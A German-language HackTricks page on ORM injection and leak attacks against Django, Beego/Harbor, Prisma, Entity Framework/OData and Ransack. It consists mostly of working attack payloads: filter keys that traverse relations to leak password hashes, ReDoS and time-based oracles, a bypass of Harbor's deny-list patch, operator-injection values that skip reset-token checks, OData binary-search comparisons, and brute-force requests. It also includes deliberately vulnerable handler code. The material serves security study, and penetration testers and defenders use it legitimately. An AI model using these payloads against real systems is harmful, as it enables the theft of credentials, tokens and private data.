ORM Injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Django ORM (Python)
In this post wird erklärt, wie es möglich ist, ein Django ORM verwundbar zu machen, indem man zum Beispiel Code wie den folgenden verwendet:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Beachte, dass das gesamte request.data (welches ein json sein wird) direkt an filter objects from the database übergeben wird. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten daraus zu leaken, als erwartet.
Beispiele:
- Login: Versuche bei einem einfachen Login, die Passwörter der darin registrierten Benutzer zu leaken.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Es ist möglich, das password per brute-force zu knacken, bis es leaked.
- Relational filtering: Es ist möglich, Relationen zu traversieren, um Informationen aus Spalten zu leak, die nicht einmal erwartet wurden, in der Operation verwendet zu werden. Zum Beispiel, wenn es möglich ist, articles zu leak, die von einem Benutzer erstellt wurden, mit diesen Relationen: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Es ist möglich, das password aller Benutzer zu finden, die einen Artikel erstellt haben
- Many-to-many relational filtering: Im vorherigen Beispiel konnten wir die passwords von Benutzern, die keinen Artikel erstellt haben, nicht finden. Wenn man jedoch anderen Beziehungen folgt, ist das möglich. Zum Beispiel: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
In diesem Fall können wir alle users in den Abteilungen von users finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen json leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).
- Abusing Django Group and Permission many-to-may relations with users: Außerdem wird das AbstractUser model verwendet, um users in Django zu erzeugen, und standardmäßig hat dieses Modell einige many-to-many relationships with the Permission and Group tables. Das ist im Grunde eine Standardmöglichkeit, access other users from one user, wenn sie in der same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Der gleiche Blogpost schlug vor, die Verwendung bestimmter Filter zu umgehen, z. B.
articles = Article.objects.filter(is_secret=False, **request.data). Es ist möglich, Artikel mit is_secret=True zu dumpen, weil man über eine Beziehung zurück zur Article-Tabelle gehen kann und dadurch ein leak von geheimen Artikeln aus nicht-geheimen Artikeln entsteht — die Ergebnisse werden gejoint und das Feld is_secret beim nicht-geheimen Artikel geprüft, während die Daten aus dem geheimen Artikel offengelegt werden.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Durch Ausnutzung von Beziehungen lassen sich sogar Filter umgehen, die zum Schutz der angezeigten Daten vorgesehen sind.
- Fehler-/Zeitbasiert via ReDoS: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, je nachdem, ob das Filtering funktionierte oder nicht, und dieses Verhalten als oracle zu nutzen. Es könnte jedoch möglich sein, dass in der Datenbank eine Aktion ausgeführt wird und die Antwort immer gleich bleibt. In diesem Szenario könnte man einen Datenbankfehler erzwingen, um ein neues oracle zu erhalten.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Aus demselben Beitrag bezüglich dieses Vektors:
- SQLite: Hat standardmäßig keinen regexp operator (erfordert das Laden einer Drittanbieter-Extension)
- PostgreSQL: Hat kein standardmäßiges regex timeout und ist weniger anfällig für backtracking
- MariaDB: Hat kein regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego spiegelt Django’s field__operator DSL wider, sodass jeder Handler, der Benutzern erlaubt, das erste Argument zu QuerySeter.Filter() zu kontrollieren, den gesamten Relationsgraphen offenlegt:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Anfragen wie /search?filter=created_by__user__password__icontains=pbkdf können genau wie die oben gezeigten Django-Primitiven durch Foreign Keys pivotieren. Harbor’s q helper parste Benutzereingaben in Beego filters, sodass Benutzer mit geringen Rechten Geheimnisse ausloten konnten, indem sie Listenantworten beobachteten:
GET /api/v2.0/users?q=password=~$argon2id$→ zeigt, ob ein Hash$argon2id$enthält.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Das Zählen der zurückgegebenen Zeilen, das Beobachten der Pagination-Metadaten oder das Vergleichen der Antwortlängen liefert ein Oracle, um komplette Hashes, salts und TOTP-Seeds per brute-force zu ermitteln.
Umgehung von Harbor’s Patches mit parseExprs
Harbor versuchte, sensible Felder zu schützen, indem es sie mit filter:"false" markierte und nur das erste Segment des Ausdrucks validierte:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s interne parseExprs durchläuft jedes durch __-getrennte Segment und überschreibt, wenn das aktuelle Segment keine Relation ist, einfach das Zielfeld mit dem nächsten Segment. Payloads wie email__password__startswith=foo passieren daher Harbor’s Filterable(email)=true-Prüfung, werden aber als password__startswith=foo ausgeführt und umgehen so deny-lists.
v2.13.1 beschränkte Keys auf einen einzelnen Separator, aber Harbor’s eigener fuzzy-match builder hängt Operatoren nach der Validierung an: q=email__password=~abc → Filter("email__password__icontains", "abc"). Das ORM interpretiert das erneut als password__icontains. Beego-Apps, die nur das erste __-Komponent prüfen oder Operatoren später in der Request-Pipeline anhängen, bleiben gegenüber derselben Overwrite-Primitive verwundbar und können weiterhin als blind leak oracles missbraucht werden.
Prisma ORM (NodeJS)
Die folgenden sind tricks extracted from this post.
- Volle Kontrolle über find:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Man sieht, dass der gesamte javascript-Body an prisma übergeben wird, um Abfragen auszuführen.
Im Beispiel des Originalposts würde dies alle Posts prüfen, die in createdBy von jemandem erstellt wurden (jeder Post wird von jemandem erstellt) und außerdem die Nutzerinformationen dieser Person zurückgeben (username, password…).
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Das Folgende wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Vollständige Kontrolle über die
where-Klausel:
Schauen wir uns das an, wo der Angreifer die where-Klausel kontrollieren kann:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Es ist möglich, das Passwort von Benutzern direkt zu filtern, zum Beispiel:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Durch die Verwendung von Operationen wie
startsWithist es möglich, Informationen zu leaken.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Es ist möglich, nicht veröffentlichte Artikel zu leaken, indem man zu den many-to-many-Beziehungen zwischen Category -[*..*]-> Article zurücknavigiert:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Es ist auch möglich, alle Benutzer zu leaken, indem man loop back many-to-many relationships ausnutzt:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Im Originalpost finden Sie eine sehr umfangreiche Reihe von Tests, die durchgeführt wurden, um die optimale payload zu finden, um Informationen mit einer time based payload zu leak. Das ist:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Wobei {CONTAINS_LIST} eine Liste mit 1000 Strings ist, um sicherzustellen, dass die Antwort verzögert wird, wenn der richtige leak gefunden wird.
Typverwirrung bei where-Filtern (operator injection)
Prisma’s query API akzeptiert entweder primitive Werte oder Operator-Objekte. Wenn Handler davon ausgehen, dass der Request-Body einfache Strings enthält, diese aber direkt an where weiterreichen, können Angreifer Operatoren in Authentifizierungsabläufe einschmuggeln und Token-Prüfungen umgehen.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Gängige Coercion-Vektoren:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ entspricht jedem Benutzer, dessen Token nichtEist. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassergibt dasselbe Objekt. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks Teilstring-Übereinstimmungen. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}wenn Cookies an Prisma weitergeleitet werden.
Weil Prisma problemlos { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... } etc. auswertet, kann jede Gleichheitsprüfung von secrets (reset tokens, API keys, magic links) in ein Prädikat erweitert werden, das auch ohne Kenntnis des secrets erfolgreich ist. Kombiniere das mit relationalen Filtern (createdBy), um ein Opfer auszuwählen.
Suche nach Abläufen, in denen:
- Request-Schemas nicht durchgesetzt werden, sodass verschachtelte Objekte die Deserialisierung überleben.
- Erweiterte Body-/Query-Parser aktiviert bleiben und Bracket-Syntax akzeptieren.
- Handler Benutzer-JSON direkt an Prisma weiterleiten, statt es auf zugelassene Felder/Operatoren abzubilden.
Entity Framework & OData Filter Leaks
Reflection-basierte Text-Helper leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableHilfsfunktionen, die jede string-Eigenschaft aufzählen und sie mit .Contains(term) umschließen, setzen effektiv passwords, API tokens, salts, and TOTP secrets für jeden Benutzer frei, der den Endpoint aufrufen kann. Directus CVE-2025-64748 ist ein reales Beispiel, bei dem der directus_users Search-Endpoint token und tfa_secret in seinen generierten LIKE-Prädikaten enthielt und so die Anzahl der Ergebnisse in ein leak oracle verwandelte.
OData comparison oracles
ASP.NET OData-Controller geben häufig IQueryable<T> zurück und erlauben $filter, selbst wenn Funktionen wie contains deaktiviert sind. Solange das EDM die Eigenschaft exponiert, können Angreifer weiterhin Vergleiche darauf anstellen:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Allein das Vorhandensein oder Fehlen von Ergebnissen (oder Pagination-Metadaten) ermöglicht es, jedes Zeichen entsprechend der Datenbank-Collation per binärer Suche zu extrahieren. Navigation properties (CreatedBy/Token, CreatedBy/User/Password) ermöglichen relationale Pivots ähnlich wie bei Django/Beego, sodass jedes EDM, das sensitive Felder exponiert oder per-Property Deny-Lists überspringt, ein einfaches Ziel darstellt.
Bibliotheken und Middleware, die Benutzer-Strings in ORM-Operatoren übersetzen (z. B. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers), sollten als high-risk sinks behandelt werden, sofern sie nicht strikte Feld-/Operator-Allow-Lists implementieren.
Ransack (Ruby)
Diese Tricks wurden in diesem Beitrag gefunden.
Tip
Beachte, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Allow-List für durchsuchbare Attribute und Associations erzwingt.
Verwundbares Beispiel:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Beachte, wie die query durch die vom Angreifer gesendeten Parameter definiert wird. Es war beispielsweise möglich, das reset token per brute-force zu erraten:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Durch brute-forcing und gegebenenfalls durch Ausnutzung von Beziehungen war es möglich, mehr Daten aus einer Datenbank zu leak.
Kollationsabhängige leak-Strategien
String-Vergleiche erben die Datenbank-Kollation, daher müssen leak-Oracles um die Art der Zeichenordnung des Backends herum gestaltet werden:
- Die Default-Collations von MariaDB/MySQL/SQLite/MSSQL sind oft case-insensitive, daher können
LIKE/=nicht zwischenaundAunterscheiden. Verwende case-sensitive Operatoren (regex/GLOB/BINARY), wenn die Groß-/Kleinschreibung des Secrets eine Rolle spielt. - Prisma und Entity Framework spiegeln die Reihenfolge der Datenbank wider. Kollationen wie MSSQL’s
SQL_Latin1_General_CP1_CI_ASsetzen Satzzeichen vor Ziffern und Buchstaben, daher müssen Probes für die binäre Suche dieser Reihenfolge folgen und nicht der rohen ASCII-Byte-Reihenfolge. - SQLite’s
LIKEist case-insensitive, sofern keine benutzerdefinierte Kollation registriert ist, daher müssen Django/Beego leaks möglicherweise__regex-Prädikate verwenden, um case-sensitive Tokens wiederherzustellen.
Das Kalibrieren von Payloads auf die tatsächliche Kollation vermeidet verschwendete Probes und beschleunigt automatisierte Substring-/Binär-Suche-Angriffe deutlich.
Referenzen
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

